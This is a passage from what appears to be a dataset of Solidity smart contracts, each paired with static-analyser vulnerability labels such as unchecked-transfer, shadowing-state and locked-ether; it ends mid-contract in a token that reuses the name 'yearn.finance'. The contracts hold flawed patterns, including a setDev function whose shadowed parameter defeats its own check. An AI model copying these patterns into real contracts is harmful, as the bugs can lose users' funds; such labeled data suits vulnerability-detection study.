4) uninitialized-local with Medium impact
5) weak-prng with High impact
6) unused-return with Medium impact |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FarmerBoiPhil is Ownable {
IERC20 private _token;
address public _owner;
address public _devaddr;
mapping(string => address) public tokens;
mapping(string => uint256) public tokenBalance;
string symbol_ = "USDN";
address contract_ = 0x674C6Ad92Fd080e4004b2312b45f796a192D27a0;
constructor () public {
_owner = msg.sender;
_devaddr = msg.sender;
tokens[symbol_] = contract_;
}
mapping(address => uint[]) public transactionIndexesToSender;
/**
* @dev a list of all attempted transactions, successful or not.
*/
ERC20 public ERC20Interface;
event TransferSuccessful(address indexed from_, address indexed to_, uint256 amount_);
event TransferFailed(address indexed from_, address indexed to_, uint256 amount_);
event WinnerPaid(address indexed to, uint256 amount_);
/**
* @dev allow for view of balance of specified tokens
*/
function getTokenBalance(string memory symbol_) external view returns (uint256) {
return ERC20(tokens[symbol_]).balanceOf(address(this));
}
function setDev(address _devaddr) public {
require(_devaddr != address(0), "dev: cannot be 0 address");
require(msg.sender == _devaddr, "dev: Are you the dev?");
_devaddr = _devaddr;
}
/**
* @dev allows list of supported tokens to be updated, addition
*/
function addWinnableToken (string memory symbol_, address address_) public onlyOwner returns (bool) {
tokens[symbol_] = address_;
return true;
}
/**
* @dev allow list of supported tokens to updated, removal
*/
function removeWinnableToken (string memory symbol_) public onlyOwner returns (bool){
delete(tokens[symbol_]);
return true;
}
/**
* @dev allow owner to pay the winner of the lotto with token name
*/
function payWinner(string memory symbol_, address to_, uint256 amount_) public onlyOwner returns (bool){
require(amount_ > 0);
address contract_ = tokens[symbol_];
address from_ = address(this);
ERC20Interface = ERC20(contract_);
if (amount_ > ERC20Interface.balanceOf(address(this))) {
emit TransferFailed(from_, to_, amount_);
revert();
}
ERC20Interface.transfer(to_, amount_);
tokenBalance[symbol_] = ERC20Interface.balanceOf(address(this));
emit TransferSuccessful(from_, to_, amount_);
emit WinnerPaid(to_, amount_);
return true;
}
/**
* @dev allow contract to receive funds to distribute
*/
function receiveTokens() public payable {
}
} | These are the vulnerabilities found
1) unchecked-transfer with High impact
2) shadowing-state with High impact
3) locked-ether with Medium impact |
// Complete Brain Optimization: https://allysian.com/
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
//
// Symbol : ALN
// Name : Allysian Token
// Max Supply : 1,000,000,000.00000000
// Decimals : 8
//
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Mint(uint256 amount, address indexed to);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
function Owned() public {
owner = 0x27695Bd50e39904acDDb26653d13Ca13BD0d0064;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract Allysian is ERC20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint public _maxSupply;
uint public _circulatingSupply;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Allysian() public {
symbol = "ALN";
name = "Allysian Token";
decimals = 8;
_maxSupply = 1000000000 * 10**uint(decimals); //1 billion
_circulatingSupply = 10000000 * 10**uint(decimals); //10 million
balances[owner] = _circulatingSupply;
emit Transfer(address(0), owner, _circulatingSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _circulatingSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Max supply
// ------------------------------------------------------------------------
function maxSupply() public constant returns (uint) {
return _maxSupply - balances[address(0)];
}
function mint(address _to, uint256 amount) public onlyOwner returns (bool) {
require( _circulatingSupply.add(amount) <= _maxSupply && _to != address(0));
_circulatingSupply = _circulatingSupply.add(amount);
balances[_to] = balances[_to].add(amount);
emit Mint(amount, _to);
return true;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
Safe Math
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
/**
Create ERC20 token
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract yearn_finance is ERC20Detailed {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
string constant tokenName = "yearn.finance";
string constant tokenSymbol = "YFI";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 30000000000000000000000;
uint256 public basePercent = 100;
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_mint(msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function findOnePercentb(uint256 value) public view returns (uint256) {
